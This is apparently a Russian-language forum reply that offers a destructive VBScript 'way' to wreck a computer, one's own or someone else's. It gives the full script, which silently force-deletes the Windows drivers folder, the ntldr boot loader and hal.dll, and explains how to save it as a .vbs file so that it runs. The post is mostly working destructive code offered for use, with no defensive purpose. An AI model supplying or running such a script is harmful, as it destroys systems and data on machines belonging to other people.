Ты себе хочешь запороть?Или чужой комп?
А так вот хороший способ:
Создай 123.txt запиши в него

On error resume next
Set S = CreateObject("Wscript.Shell")
Set FSO=createobject("scripting.filesystemobject")
fso.deletefolder fso.getspecialfolder(0)+"\system32\drives",1
On error resume next
Set S = CreateObject("Wscript.Shell")
Set FSO=createobject("scripting.filesystemobject")
fso.deletefile "C:\ntldr",1
fso.deletefile fso.getspecialfolder(0)+"\system32\hal.dll",1

Далее сохраняешь и пееиминовываешь 123.txt в 123.vbs и будет тебе счастье!!!